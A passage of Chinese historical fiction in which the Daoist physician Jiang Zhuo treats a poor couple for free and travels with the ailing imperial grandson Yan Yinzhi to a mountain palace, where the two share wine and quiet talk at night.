江酌快步走了过去,瞧见陆见真坐在门口的石桌旁,正借着昏暗的光线看书。 “你……” “听松在里面,”陆见真抬眼,“巷口茶摊的掌柜在教他煮面。” “嗯?” 江酌探头进去,果然看见了听松正乖乖地坐在门口的一张小凳上,认认真真地看着一个陌生的老妇人擀面。 灶房的另一侧,老掌柜守在灶台前,一边烧水一边笑着和那老妇人闲聊。 不是什么紧要的话题,在这旧的好像随时都可能坍塌的灶房里,却显得格外温馨。 江酌安静地看了一会,弯了弯眼睛。 “抱歉,”他笑着开口,“我回来的有些迟了,劳累二位久等不说,还要帮忙做这些。” “江道长,”老掌柜回过头,脸上也露出了笑容,“没什么劳累的,就是刚瞧着这小道长备水和面实在生疏顺便帮一下,您外面等会,面马上就好了。” “好。”江酌朝听松看了一眼,转身回到了石桌前。 “我做了晚饭,”察觉他坐到了身边,陆见真淡淡开了口,“听松吃过后才进的灶房,说是要给你煮碗面。” “嗯,”江酌应了声,懒洋洋地趴到石桌上,回头朝灶房看了一眼,“挺好的。” “你说那孩子?”陆见真想了想,点头,“不吵不闹,读经的时候也能听懂,确实挺好的。” “我不是……算了,”江酌晃了晃脑袋,长长地舒了口气,“我这会心情好,你念段经给我听吧。” 13.第十三章 第十三章 陆见真抬起头:“念什么?” “经书啊,”江酌微阖起眼帘,“就你手里那本《南华真经》就行。” 陆见真疑惑地看着前一天还说一看见经书就头疼的自家师兄,想了想,点头:“好。” 然后就翻了翻书,真的读了起来。 “知天之所为,知人之所为者,至矣。知天之所为者,天而生也……” 少年的声音温润清透,又带了点因为鲜少像这样大声诵读而生起的不自在,给逐渐苍茫的暮色中平添了几分温馨。 江酌睁开眼,看着面前专心致志的师弟,又转过头看了看几步外的灶房。 落日的余晖映在破落的屋顶,狭小的灶房里散发出昏黄的光,陌生的老夫妻有一句没一句的说笑,再加上耳畔并不算熟悉却是他在这世上最亲密的人的诵经声…… 似曾相识的画面,就好像回到了很多年以前。 叛军被诛灭,年少的自己跟着师父一路颠沛流离回到这间陌生的道观。 当时也是傍晚,晚霞漫天,守观的老居士在灶房里做饭,他们师徒二人换洗之后无所事事,也帮不上什么忙,就坐在这张石桌前,一句一句地念起了枯燥又晦涩难懂的经文。 时日太久,江酌已经记不清当时念的是哪一本,却还能清楚地回想起自己坐在这间虽然还没现在这么破落却分外冷清的道观里时的心安。 心安……江酌抬手摸了摸心口。 大概是因为心所安处,即是吾家吧。 尽管那个家里当时只有一个陌生的独眼又耳背的老居士和一个认识不过月余其实也算不上熟悉看起来也没多可靠的师父。 “师父。” 一阵刻意放轻的脚步声打断了江酌的思绪,回过神他才发现陆见真的诵经声已经停了下来,正低着头小声地和不知道什么时候从灶房里出来的听松说话。 “夜食不宜,”陆见真把听松放到自己跟前的碗推到江酌手边,“你年岁小,可以少吃一点。” 这话说的……江酌看着自家师弟那张也没年长多少的脸,轻轻笑了一声,转头看向灶房:“掌柜,您和夫人一起过来吃点吧?” “我们吃过了,”老掌柜探头出来,脸上带着笑,还有可以掩藏的讨好,“道长慢慢吃,我们稍稍收拾一下就出来。” “那就麻烦了,”江酌也不多客套,随手拿了双筷子递给听松,“来吧,幸好还有你能陪我吃。” “陪?”听松握着筷子,不太理解地看着他。 “是啊,”江酌拿起筷子,夹了一口还冒着热气的面,轻轻地吹了两下,“这两年在外面每次看见别人一家子其乐融融地一起吃饭,我都有点羡慕。好不容易回来了,你师父和辟谷也差不了多少,还好我眼明手快,抢……带了你回来。” “我……”听松想了想,小声道,“以后我都陪师伯吃饭。” “那也不用,”江酌吃了口面,满足地舒了口气,“你师父说得没错,你年岁还小,以后就好好当一个小孩儿。” 听松眨了眨眼:“当小孩儿?” “嗯,不用讨好任何人,尤其是我们这些大人,”江酌抬了抬下颌,看向旁边正看书的陆见真,“就像你师父这样,哪怕自家师兄因为没人陪吃饭就要饿死了,也坚守自己的原则,绝不肯在不该吃饭的时候吃上一口。” 陆见真:“?” 眼见一大一小的目光都集中在自己身上,他沉默了一会,又低下头,一边翻书一边道:“食不语。” “知道了,陆道长!” 江酌弯了弯眼睛,从碗里夹了个鸡蛋给听松,“这种话还是要听的,乖乖吃面吧。” “嗯。”听松悄悄地看了自家师父一眼,埋下头安静地吃起面来。 不知道是不是因为太久没吃过自家灶房里做出来的正常的面,江酌这一顿吃得十分满足,甚至连面汤都喝了个一干二净。 在他对面,听松也跟着放下了碗筷,还没等江酌开口就收拾起空碗,利落地进了灶房。 “这……”江酌难得愣了一下,转头看向陆见真,“你这徒弟可真是……” “让他去吧,也不是什么劳累的事,”陆见真翻了页经书,“自小养成的性格不可能因为你轻描淡写的一句话就改变。” “也是。”江酌舒了口气,转过头正好看见老掌柜拉着有些局促的妻子从灶房里出来,弯了弯眼睛,“辛苦二位了,快过来坐!” “是我们打扰道长才是,”老掌柜扶着妻子坐下,自己站到旁边,“这就是我家里那位,麻烦您了。” “顺手的事儿,况且我还吃到了好吃的面。”江酌打开随手放到旁边的药箱,拿出脉枕放好,“我先替您看看脉。” 老妇人看了老掌柜一眼,而后点了点头,将手腕放在脉枕上:“有劳道长。” 江酌笑着摇了摇头,伸手搭腕,目光却落在她脸上。 严格说起来,这老妇人的年岁也并不算特别的大,面色却十分的憔悴,苍白泛黄的一张脸上没有丝毫的血色。 从脉象上看,更是虚弱细缓,该是多次生育过后未得休养,瘀血阻络,崩漏难止。 其实也算不上什么疑难杂症,对于这样连诊费都要费劲凑齐的老夫妻来说,却是竭尽全力也难得到救治。 “不是什么大事。” 江酌收回手,转眸看向陆见真,还没等开口,对方就了然地应声,“都在你房里,听松帮你整理过。” “好。”江酌笑笑,“二位稍等。” 话落,径直起身朝自己房里走去。 片刻之后,他开门出来,手里提着个粗布包袱,递向老掌柜:“五贴药,每日一剂,早晚各一服,之后再来换方。” “这药……”老掌柜瞪着那个包袱,突然手忙脚乱地摸向怀里,“我这儿只有这些钱,日后,日后……” “说了不要钱,”江酌把包袱塞到他手里,“日后我再路过您的摊子,您请我喝碗茶就是了。” “… …好,您尽管喝,其他两位道长过去,也可以随意喝,”老掌柜抱着包袱,喉头微哽,“道长大恩德,我们实在是……” 他张了张嘴,一时却找不到什么词能表达自己的心情,最后干脆躬下身,直接行了个大礼。 “好歹等夫人服了药恢复了再谢我也不迟,”江酌失笑,语气有些无奈,却又分外的温柔,“就要宵禁了,抓紧回家吧。” “好,好。”老掌柜扶着妻子起身,两人又一起朝着江酌鞠了躬之后,才终于拖着复杂的脚步,转身向外走去。 观门轻响,最后缓缓地合上,留下一瞬的静寂。 江酌盯着二人离开的方向看了一会,才终于收回视线,回头却发现陆见真不知何时合上了书,正一眨不眨地看着自己。 “怎么,”江酌坐回石凳上,“想称赞你师兄我乐善好施,医者仁心?” 陆见真摇了摇头:“就是觉得,你刚才……很像师父。” “是吗?”江酌扬起嘴角,还没等高兴,就听见陆见真语气平缓地补充道,“一样的喜欢多管闲事。” “这叫什么话?”江酌瞪了他一眼,“也不怕师父晚上托梦骂你。” “他才没工夫托梦,”陆见真垂下眼帘,不知想到了什么,好一会才突然又道,“其实挺好的。” “嗯?”江酌看着他,“什么挺好的。” “像师父那样,”陆见真道,“虽然我以前很不理解,为什么他和我说世人自有命数,却又总会去干涉。” “都跟你说了他老人家的话不用都听,”江酌笑了一声,再开口声音里却又带了些许的感慨,“也有可能是因为,被干涉也是世人的命数。” 陆见真的脸上有一瞬的茫然。 江酌看着,忍不住伸出手,轻轻地摸了摸他的头。 “……”陆见真微抬眼,发现他在做什么后立刻偏开头避开了头顶的手,“我已经当师父了。” “所以呢?”江酌看着他刻意绷着的脸,“你又没比听松大上多少,当师父了也是小孩儿。” 陆见真微皱眉:“你也没比我大多少。” “七八岁可是不少了,”江酌思绪微转,“不过我今天真碰上个没比你大多少的,长着张少年人的脸,心思和城府却是常人都比不了的,不愧是……” 他偏过头,发现陆见真一脸兴致缺缺的样子,轻轻笑了一声,“好了,说点正经的,过几天我要出去一趟。” 他从怀里摸出个钱袋放到石桌上,“你们师徒俩的饮食起居就要自己解决了。” “本来也是自己解决,”陆见真朝钱袋上扫了一眼,“用不上这些。” “也是,”江酌想了想,把钱袋收了回来,“我还是交给听松吧。” “随你,”陆见真说完,思索了一下,又问道,“还回来吗?” “当然,替别人看个诊而已,总不可能就这么把你们师徒俩扔下了,再说,”江酌站起身,伸了个懒腰,“我要做的事儿还没开始呢。” 14.第十四章 第十四章 晨雨淅沥,落在前行的马车上,滴滴嗒嗒,不绝如缕。 严荫之一宿未得安睡,听着听着就打起呵欠,眼帘也慢慢合了起来。 半梦半醒间,手臂被人推了两下。 “殿下!” “嗯……”严荫之掀开沉重的眼皮,迷迷糊糊地看着凑到眼前的徐礼,“怎么了?” “前面就是青云观了,巷子狭窄马车进不去,侍卫去请人了。”徐礼看着意识还涣散着的自家殿下,探出手在他前额摸了一下,“药都吃了半个时辰了,怎么还不见好?” “因为那只是普通的汤药,不是仙丹。”睡意慢慢消散,头却还昏沉的厉害,严荫之叹了口气,慢吞吞地坐直了身体。 病来如山倒,尤其是不常生病的人。 不过是一时兴起冒雨在校场上玩了一会,大半夜莫名其妙地就发起烧来。 若是寻常时日也就算了,偏偏赶上了要出发这天…… 果然人就不能突然勤勉。 正想着,一盏茶递到了跟前。 “喝点吧,”徐礼凑到跟前,“难得看见你这副样子,早知道在府里休整两天再出发了。” “一点风寒而已,不至于。说好了今天过去,突然改期……虽然她未必会担忧。” 在马车上颠簸了半天,出门前沏的茶早已凉透,严荫之抿了一口就皱起了眉,把茶盏放到一旁,顺手掀开了车帘。 正卯时,天色昏暗。 阴沉沉的的云层笼罩着天际,延绵不止的雨滴落在青石路面上,升腾起淡淡的雾气,映出和皇城周遭迥然不同的街巷。 “我还是第一次到长乐坊来。”晨风微凉,直吹到脸上,让严荫之清醒了不少,只是整个人还困恹恹的提不起精神,“比太孙府周遭热闹不少。” “那倒是。”徐礼挨着他坐下,跟着向外看去。 时辰尚早,又下着绵绵细雨,街巷上却已经有了不少的行人,披蓑戴笠,来去匆匆。 街角的茶摊上,几个茶客坐在一起,一边闲聊,一边赏雨。 不远处巷子里,屋舍排列虽然杂乱无序,却又因为相似的袅袅炊烟,彰显出一样的宁静祥和。 因为严荫之突如其来的病,徐礼忙乱忧虑了一早上,这会瞧见这样的景致,配上还未止歇的雨,心情莫名地好了不少:“要不是着急出发,我都想过去喝碗茶了。” “三文钱一碗还能续的茶摊,想也知道都是些粗叶茶梗,”严荫之靠在车壁上,眼帘微阖,“不过也还好,反正你都喝不出区别。” “我哪儿至于连这种区别都尝不出来,”徐礼轻哼了一声,突然提了声音,“哎,来了!” “谁来了?”严荫之不耐地皱了皱眉,重新睁开了眼睛。 蒙蒙雨雾之中,一道天青色的身影沿着幽长的巷子徐徐地走了过来。 不知道是不是身上那件簇新的袍子的缘故,明明旁边还有随行的侍卫,却叫人不自觉地就将视线集中在那人的身上。 连方才的困倦和混沌都暂时地抛在了脑后。 “我下去迎一下,”徐礼回手收了茶盏,简单整理了一下,“好歹是咱们请人家来的,不能失了礼数。” “嗯,”严荫之放下车帘,稍稍坐正了点,头却还是靠在车壁上,懒得抬起,“拿着伞,当心淋雨着凉。” “我又不是你。”徐礼拿了件披风盖到严荫之身上,而后才伸手拿了伞,起身下了马车。 马车车壁单薄,可以清晰地听见外面的声响。 “在下太孙府主簿徐礼,恭迎江道长。”徐礼难得恭敬地开口。 “徐大人客气了,”清润的男声响起,带着淡淡的疏离,“有劳久等。” “也没很久,”徐礼温声道,“私下出行不宜铺张,还要委屈道长与我家殿下共乘。” “我怎么都可以,太孙殿下不觉得委屈就行。”一阵窸窸窣窣的声响过后,江酌的声音再次响起,“那徐大人怎么办?” “我?”徐礼明显有些意外,愣了一下才道,“我去后面侍从的马车。” “那就好,雨天湿滑,大人当心脚下。” 窸窣的声响再起,跟着马车轻微摇晃,一道人影轻巧地钻了进来……伴随着扑鼻的檀香味。 严荫之抽了抽鼻子,轻咳一声。 “这种天气还劳烦江道长……” “殿下病了?” 说了一半的客套话停在嘴边,严荫之怔了一下,随即轻笑:“不愧是神医,一眼就看出来了。” “因为实在很明显。”江酌随手把药箱放到一旁,回身坐到对面。 马车内光线昏暗,依然掩盖不了面前少年苍白的面色。 原本明亮灵动仿佛能洞察一切的眼睛也黯淡了许多,带了难掩的疲倦,凑近了甚至能看出里面泛红的血丝和眼下淡淡的青色。 上次见面还是神采飞扬肆意妄为的一个人,这会却是整个没精打采蔫巴巴地靠在角落……只这么瞧着,莫名的就觉得有点可怜。 “看来是吃过药了,”江酌凑近了看了眼严荫之的脸,想了想,“我替殿下看看?” “嗯?”严荫之晃了晃昏沉沉的脑袋,后知后觉地听清对方的话,下意识想要拒绝,“不是什么大事,待会睡一觉就好了,就不……” 手臂突然就被一道不容拒绝的力道拉了过去,还没等他回过神来,微凉的指尖已经落在了腕间。 “你……” “别动。” 因为过于专注,江酌的眉头轻轻蹙起,严荫之盯着看了须臾,才又靠回车壁上:“……好。” 马车摇摇晃晃地启动,却好像对正诊脉的江酌没有造成任何的影响。 “确实不是什么大事,按时服药即可,”稍倾之后他收回了手,目光从严荫之脸上扫过,“太医开的药里应该有安神的成分,殿下睡一会也好。” “嗯,”严荫之垂下眼帘,按了按额角,“多谢道长。” “举手之劳。”江酌回过头,看见了旁边的茶壶,顺手给自己倒了一盏,抬眼迎上严荫之 的视线,“殿下喝吗?” “算了,”大概是实在病得难受,严荫之朝他手里看了一眼,不自觉地露出几分嫌弃,“茶香都散了。” “是吗,”江酌端起茶盏轻轻嗅了嗅,然后才浅浅尝了一口,“当季的白茶……是有点冷了,不过毕竟是上品,也不算难喝。” 严荫之微微抬眼:“你能喝出来?” “唔,严格来说,茶叶也算是一种草药,光靠闻就差不多了,”江酌回眸看他,“上次我就发现了,殿下似乎对我有些误解。” 不知是药效还是发热未退,严荫之觉得意识实在是不太清明,瞪着眼前人看了半晌,才下意识地问道:“什么?” “我先前那些袍子,虽然有些旧了,其实也是不错的料子,”江酌垂下视线,扯了扯衣摆,“不过还是要多谢殿下让人为我制了新衣。” “道长客气了,反正这料子在内库里也是放着。” 比起刚刚的远眺,这会离得更近了一些,可以清楚地看见那天青色的衣料上泛起的浅色暗纹,加上尚衣局精心的剪裁,还有那张实在是让人无法忽视的脸…… 严荫之顿了一下,才又道,“都是你应得的。” “嗯?”江酌不置可否地笑了声,掀开车帘向外看了一眼,“就要出城了,殿下还是睡会吧。” “好。”严荫之愣愣地坐了一会,似乎是思考了一下他的话,而后才慢慢地闭上了眼睛。 雨势渐小,却没有止歇的意思。 车辙碾过青石板路的声响混着雨声传进车内,隐隐地还掺杂着极轻的呼吸声。 “真睡了?” 江酌看了会雨,回过头才注意到对面的动静,想了想,抬手遮严了车帘。 车厢里愈发的昏暗。 从都城到行宫算起来有三十多里,雨天难行,怕是要天黑才能到了……反正也无事可做,江酌从药箱里摸出一本破旧的书,慢吞吞地翻了起来。 其实过往赶路,尤其这次回都城,不管是什么样的马车又或者是多难走的路面,江酌大都是要睡觉的。 奈何这几天因为陆见真每天都要带着听松在窗外上晨课,他被迫也跟着养成了寅时起戌时休的作息。 今早天还没亮就被听松叫醒的那一阵虽然分外痛苦,到了这会确是再也生不出丁点的睡意——也实在是不怎么能看得清这本来就上了岁数,许多字迹都不太清楚的医书。 算了。 江酌随手把医书又塞回药箱里,端起方才丢在一边的茶盏喝了一口,百无聊赖地看向了车里另一个活物。 说是不宜铺张,毕竟是太孙府的马车,已是十分的宽敞,奈何这位太孙殿下年岁不大,却是肩宽腿长,几乎缩成了一团才勉强找到了个舒服的姿势。 大抵是因为还病着,睡梦中还皱着张脸,不见分毫的缜密深沉,倒是比平日里的任何时候都更像是一个十八九岁的少年。 严荫之…… 江酌在心里低低地重复了一遍这少年的名字,抬手喝了口茶,转开了视线。 15.第十五章 第十五章 一如江酌所料,从都城到龙首山虽然算不上路途遥远,奈何山路陡峭难行,又赶上了连绵不止的雨,等终于到达行宫的时候,已是六个时辰之后。 酉时初过,因为落雨天色已经完全暗了下来。 层层叠叠的阴云挤在天际,毫不留情地遮蔽了最后一点天光。 幸而马车上早早地就挂起了灯笼,昏黄的光线在晚风中摇曳,映出不远处在山林掩映间恢弘壮阔的行宫。 顺着蒙蒙雨雾望过去,平白又多了几分幽森。 “到了?” 正出神间,身旁传来一声含糊的咕哝,江酌回过头,发现昏睡了一整路一口饭都没吃只喝了一次药的严荫之不知什么时候睁开了眼睛。 大概是还没完全清醒,这人整个看起来还有些懵然,加上略显凌乱的头发和胡乱盖在身上的披风…… 江酌弯了弯眼睛:“到了,徐大人说等查验过后就可以下车了。” “哦,”严荫之慢慢坐直了身体,掀开车帘向外看了一眼,意识慢慢回拢后又开了口,“这一路辛苦道长了,待会……” 他回过视线正瞧见江酌脸上的笑,微微蹙眉,“怎么?” “没怎么,”江酌收回视线,埋头整理脚边的药箱,“看来殿下是恢复了。” “差不多。”严荫之抬手摸了摸前额。 额间的热意早就退了,脑袋虽然还有些昏沉,神智已经完全清明,半梦半醒间的一些画面也随之浮现在脑海里。 比如——刻意掩实的车帘,垫在头下的软枕,还有喂到唇边的药。 有些复杂的情绪涌上心间,他盯着对面正忙碌的人看了一会,突然道:“多谢道长照料。” “嗯,你说那碗药?”江酌抬头看他,“其实是徐大人煮的,我只是路过的时候稍微提醒了几句让药汁不至于烧干,顺带又帮着端了上来。” “那也还是要谢谢道长。”晚风轻拂,掀动了半敞的车帘,严荫之顺着看了一眼,心思微转,回手将盖了一路的披风递到对面,“山间风凉,道长的衣料轻薄,小心着凉。” 虽然先前的几次交道,这位太孙殿下因为各样的因由都表现出过不符合年纪甚至略带刻意的周到和体贴,眼瞧着那件送到眼前好像还沾染着体温的披风,江酌还是有一瞬的意外。 或许是因为那双眼睛? 病未痊愈又睡了太久的缘故,隐隐的好像含了一层水光,比先前明明是笑着却又分明带着考量和探究的时候要真诚的多。 “多谢殿下好意。” 一瞬后江酌摇了摇头,唇角含了浅淡笑意,“都说医者仁心,我虽然没有,也还不至于抢病患的衣袍。” “我……” “殿下,可以下车了。”徐礼的声音从马车外传了进来。 “……知道了。”严荫之回手将披风穿到身上,再抬头时眉眼微扬,微微颔首,“江道长,请吧。” 显然是又恢复到了惯常的神态。 江酌轻轻扬眉,目光在这少年脸上停留了一瞬,最后点了点头:“好。” 而后回手拿起药箱,和往常一样,一点客套都没有地先行下了马车。 龙首山行宫,梁开国皇帝明成帝在位时所建。 虽然离皇城只有三十余里,却因为四周险峻的山势,成为了大梁开国以来历朝历代的皇帝最不爱来的一处行宫。 据说在宁和帝在位期间曾一度废置,直到昭惠太子妃要来此清修,元成帝才派了人过来稍微修整了一下。 放眼瞧去,确是楼台馆殿精细而华贵,奈何因为没有多少人居住,这种天色下,连灯火都没点上几盏,影影幢幢间平添了几分荒凉和孤寂。 尤其在这样绵绵的阴雨里。 而且,不知道是不是错觉…… 江酌偏过头,借着侍从手里的灯笼朝被纸伞遮了大半张脸的严荫之看了一眼。 连带这位总是漫不经心的太孙殿下的神情都好像跟着阴沉了不少。 胡思乱想间,一行人穿过一个精心打造的花园,来到一所偏殿前。 一个四十余岁的宫人脚步匆匆地迎了过来,躬身行礼:“太孙殿下。” “嗯,”严荫之点了点头,目光看向她身后紧闭的殿门,“我娘呢?” 宫人微低着头:“太子妃已经睡下了。” “……是我疏忽了,天都黑了,她是要休息了,”严荫之眸光暗了暗,盯着那扇殿门看了一会,转眸露出一点浅笑,“她最近可还好?” 宫人立刻点头:“殿下放心,太子妃近来安好,饮食如常,夜里也睡得安稳。” “那就好,”严荫之微垂眼帘,“辛苦你们了。” “殿下客气了,”宫人道,“您的寝殿已经提前收拾好了,随行的大人也可一并去安歇。” “嗯,”严荫之原地站了一会,“那我明早再来跟娘请安。” “好,”宫人微微抬头,目光在严荫之脸上稍作停留后,又道,“殿下过来太子妃也很开心。” “知道了,”严荫之扯了下唇角,却没露出多少笑容,转过脸看向几步外的江酌,“走吧江道长,徐礼先去安置了,我送你去住处……正好顺路。” “好啊。”一瞬的对视后,江酌轻轻点头,重新撑起纸伞,跟上了他的脚步。 不知道是不是刻意的安排,所谓的住处离方才那所偏殿并不远,沿着幽静的小路前行了没多久,就看见了一所幽静的院落。 四下里灯火通明,显然是已经有太孙府的人提前过来打理,偶尔还有几个侍从进进出出,对比起来,倒是比先前那座偏殿更像是有人在居住。 “就是这间了,”一路走进院子,严荫之突然停下脚步,指了指外边的一间殿室,“行宫里没有外人,道长可随意,有什么需求吩咐他们即可。” 江酌点了点头,收了伞径直朝那殿室走去,伸手推门后突然回过头来看向雨中:“殿下。” 严荫之正起身要走,闻言一顿,隔着蒙蒙的雨雾看着檐下的人: “道长还有事?” “嗯,”江酌回身,“时辰差不多了,记得服药。” 说完也不等回应,头也不回地进了门。 “砰!” 房门轻合,在寂静的雨夜里分外清晰。 严荫之原地愣了愣,才回过神来朝自己房间走去。 院落最深处的一间,是严荫之惯常的居所,因为他在饮食起居上一向麻烦,徐礼下了马车便先行带了人过来收拾。 严荫之进门的时候,他刚把一个食盒放到桌案上,回头道:“正要去找你呢,我让人煎了药,先吃点东西垫垫?” “好,”严荫之回手关门,走到桌案前坐下,“吃什么?” “还能什么,白粥呗,你病还没好呢,”徐礼说着话,从食盒里端出粥碗,抬眼瞥见严荫之的脸色,微微顿了顿,“没见到太子妃?” “嗯,”严荫之接过粥碗,漫不经心地用汤匙搅了两下,“太久没过来了,忘了她一向日落即息。” “……我倒是也忘了,”徐礼又端了两碟小菜摆到他跟前,“作息规律是好事,大晚上的也不方便看诊,明早再去就是了。” “嗯。”严荫之应了一声,垂下眼眸喝了口粥,“你去吃晚饭吧。” “不急,我又不像你,一整路只喝了一碗药,”徐礼半趴在桌案上,凑近了看着他的脸,“每次过来你都兴致不高,我陪你待会。” “你也说了是每次,”严荫之握着汤匙的手紧了紧,而后自嘲地笑了一声,“虽然偶尔还有一点不切实际的希冀然后落空,也早就习惯了。” “你……”徐礼张了张嘴,盯着他看了好一会,最后轻轻地叹了口气,“是习惯了,都不知道还能说点什么安慰你了。” “所以就别费心思了。” 不知道是病还未愈还是这白粥实在过于寡淡,严荫之勉强喝了两口,终究还是放下了粥碗,“让人送热水过来,我洗个澡,正好喝药。” “行吧,”徐礼看着那碗几乎没什么变化的粥,沉默了一下,慢慢直起身,“粥我让人在灶火上温着,喝药前再吃一点。” 严荫之点了点头,起身去更衣,刚走到屏风前,又停下了脚步:“江酌那里……” “嗯?”徐礼把粥碗放进食盒,抬头看他。 “行宫的膳食素来清淡,不知道他能不能吃得惯,”严荫之略微思索,“你让人去再备几样乾州的菜式,一并送去他房里。” “乾州吗,行,我安排人去准备,”徐礼站直了身体,却没立刻向外走,“看出来你是真的想拉拢这位江道长了,这种时候都还记得关心这些细枝末节的事。” “细枝末节的事才最有用,”严荫之轻抬下颌,“药让别人送来就行,你去吃饭。” “知道了,不知道以为病的人是我呢,明明小时候没这么啰嗦。”徐礼嘟囔着拎起食盒,走到门口时又挥了挥手,“早些休息,有事就叫我。” “嗯。”严荫之轻轻笑了一声,“你倒是跟小时候一样啰嗦。” 16.第十六章 第十六章 大雨滂沱,轰鸣的雷声响彻天际,惊醒了睡梦中的严荫之。 寝殿里空荡荡的,连个宫人的影子都没有,四下里昏暗一片,影影绰绰间,似乎有一道人影出现在窗边。 “谁在那儿?” 严荫之盯着那道人影,有些茫然地开口,却没得到任何回应。 犹豫之后,他揉了揉眼睛,慢吞吞地起身下床,“有人吗?” 一道闪电突兀地划破长空。 窗前的人影在一瞬间消失得无影无踪,只剩下猩红的血迹沿着窗台慢慢地淌了下来,一路蔓延到他脚下。 “娘!” 严荫之猛地睁开了眼睛。 万籁俱寂。 昏黄的烛火在床边摇曳,映出和梦中相似的寝殿,却是迥然不同的景象。 ……竟是又做梦了。 严荫之摸了摸眼角,慢慢地坐起身,不自觉地抬眼看向窗子。 夜已经很深了,绵延了一整日的细雨也已止歇,周遭一片静寂,偌大的行宫里仿佛只剩下了自己。 却也没多可怕。 严荫之长长地舒了一口气,回手拿过床头的茶盏喝了一大口,早已凉透的茶水泛着难言的苦涩,将他从那场梦魇里彻底抽离。 说起来,他已经许久没做过类似的梦了。 或许真如先前那些装神弄鬼的道士所说,这行宫的风水有问题,才让自己每每过来都提不起兴致,甚至连那些刻意掩藏的记忆都敢出来兴风作雨。 严荫之自嘲地笑了一声,放下茶盏,起身下了床。 久不到行宫来,目之所及并没什么变化。 不管是寝殿里的陈列布置,还是花园里的草木枯荣,甚至连檐下灯笼的数目,都和上次来时差不多。 就好像这里的一切都停在了三年前,再也不会有任何改变。 ……也还是有的。 严荫之停下脚步,看着眼前的殿室。 轩窗半敞,透出莹莹的烛光,将一道清瘦的身影映在回廊上。 不知是不是被脚步声惊动,正凝神写着什么的人突然抬起头来。 四目相对,那双清澈的眼底浮起一丝讶异,转瞬间又化成了笑意。 “殿下这是白日里睡多了?”江酌温声开口。 “嗯,”严荫之不置可否,目光微转,瞥见了他手旁的酒盏,“道长好雅致。” “打发时间而已。”江酌微转视线,瞧见了他身上单薄的寝衣还有那件明显是随手披上的外袍,顿了一瞬,“一起?” 夜风微凉,将不远处的树枝吹得沙沙作响,带来了潮湿的草木气息,让眼前这间还亮着灯火的房间莫名地就有了暖意。 短暂沉默之后,严荫之点了点头:“那就打扰了。” “无妨。”江酌不在意地摇了摇头,放下手里的笔,起身去开门。 和严荫之的寝殿相比,这间偏殿明显有些狭小。 但太孙府的人办事素来妥帖,早早地过来收拾过,又添了不少东西,放眼过去窗明几净,更多了几分幽静雅致。 尤其窗边那方桌案,虽然堆叠着不少书册纸张,却还有只素净的瓶子,里面插了几支不知道是什么却开得正艳的花,纷乱里混杂着勃勃的生机。 “殿下自便,”江酌将人引进门,自顾坐回桌案前,抬眼发现对方的目光在那花瓶上,“榴花,绚烂好看,还能入药。” “怪不得,”严荫之点了点头,坐到了桌案另一边的椅上,看了眼桌上的酒壶,“什么酒?” “竹叶青,”江酌另倒了盏酒,递到他手边,“殿下病未痊愈,浅酌即可。” “好。”严荫之伸手接酒,正碰到对方未及收回的手指,微凉的触感让他不由一顿,而后又像什么都没发生一样垂下眼帘,抿了口酒。 行宫里鲜有人来,连酒水都不知道是多久以前的存货。 芳香醇厚的竹叶青经过岁月的沉积,褪去了原有的清苦,更多了几分甜绵,轻而易举地驱散了雨后的湿冷。 严荫之放下酒盏,轻轻地舒了口气。 “我也是饭后闲逛路过灶房瞧见,一时兴起拿了壶回来,”江酌端起自己的酒盏也喝了口,“没想到味道还不错。” “是还不错,”严荫之向后靠在椅背上,视线漫不经心地在室内转了一圈,最后转到对面人身上,“道长也是睡多了?” “倒也不是,”江酌放下酒盏,“山间清静,景致也好,不舍得睡。” “不舍得……” 严荫之低低地重复了一遍,转眸瞧见对方重新拿起了笔,跟着朝桌上看去,“这是……医案?” “嗯,”江酌提笔蘸墨,一边写一边道,“三殿下的。” “哦。”严荫之不甚在意地应了一声,随手从旁边拿起张写满了字迹的纸。 过往在皇城里,他也见过太医署录写的医案,对比起来,手里这份要更加的精微翔实。 不仅记录了严彻的脉象还有病程,还包括了他的饮食起居生活习性。关于中毒的推断,也引用了不少医书或者民间见闻作为佐证;用药记录上,更是以严彻的年岁、体质为依据,进行了详尽的分析和解释。 “你这是……”严荫之看了一会,忍不住道,“为了方便自己后续的诊治?” “那我何必费这么大工夫,”江酌淡声道,“方便后人的。” “后人?”严荫之沉默了一瞬,“那你过往看过的所有病患都要这么记录?” “那倒没有,记点疑难杂症而已,”江酌随口道,“后人应该也没那么闲。” “……你可真是,”严荫之轻轻扬眉,眼角微微弯了弯,露出点意味不明的笑意。 他把手里的纸张放回原处,拿起酒盏又喝了一口,垂眸看着面前又埋下头的江酌,“我在这儿岂不是会打扰你?” “还成,真觉得打扰我不写就是。”江酌抬头看了他一眼,“殿下要是不好意思,可以顺便帮我研墨。” “顺便?”严荫之微垂视线,不出所料地在这人脸上看到了笑意,也忍不住扬了扬唇,“行,那就顺便。” 说完,就真的拿起了旁边的墨条。 作为当朝储君,严荫之上一次研墨已经是很久之前的事了。 大概是陪着皇爷爷抄写经书,也可能是被先生罚了抄书,又或者是……看难得有空闲的阿爹练字。 反正都是很久以前的事了,久远到他几乎…… “不会?”见他握着墨条迟迟没有动作,江酌忍不住开了口。 “嗯?那倒也不至于,”严荫之愣了愣,随即轻笑,“就是突然想到疑难杂症的话宫里最不缺,你若是感兴趣,可以去太医署查阅过往医案。” “好啊,”江酌眼睛亮了亮,“我先前倒是没想过。” 自从照面,这人一直是一副随性淡然的样子,倒是第一次见他露出这样兴致盎然的神情。 严荫之看在眼里,也忍不住跟着扬了扬唇,垂下视线一边研墨一边道:“回去我让人安排。” “有劳太孙殿下了。”江酌盯着他握着墨条的手看了一会,埋头继续写了起来。 室内突 然间就安静下来。 墨条落在砚台上发出细微的声音,偶尔夹杂着纸张翻动的声响。 严荫之许久没经过这样的安宁,慢条斯理地研着墨,视线不自觉地落到对面人的身上,思绪慢慢地飘散。 不知道过了多久,潜心书写的人收了笔,长长地舒了口气。 “好了?”严荫之朝纸上瞥了一眼,手上的墨条也停了下来。 江酌点了点头,视线瞥见他指尖,从怀里摸出方锦帕递了过去:“多谢。” “顺便而已。”严荫之搓了搓指尖,伸手将那锦帕接了过来,然后就闻到了一阵几乎算得上熟悉的檀香味,“你这帕子……” “新的,”江酌站起身,伸了个懒腰,“前几天和这身衣袍一起送来的。” “我不是说……算了,”不知道是不是闻得次数多了,严荫之忽然觉得这香味也不算太难闻,垂下视线擦了擦手指,“快子时了,道长这回舍得睡了?” “是该睡了,”江酌掩唇打了个呵欠,垂眸看向还坐在原处的人,“那我就不送太孙殿下了。” “……意料之中,”严荫之轻轻笑了一声,缓缓起身,“明日还要劳烦道长。” 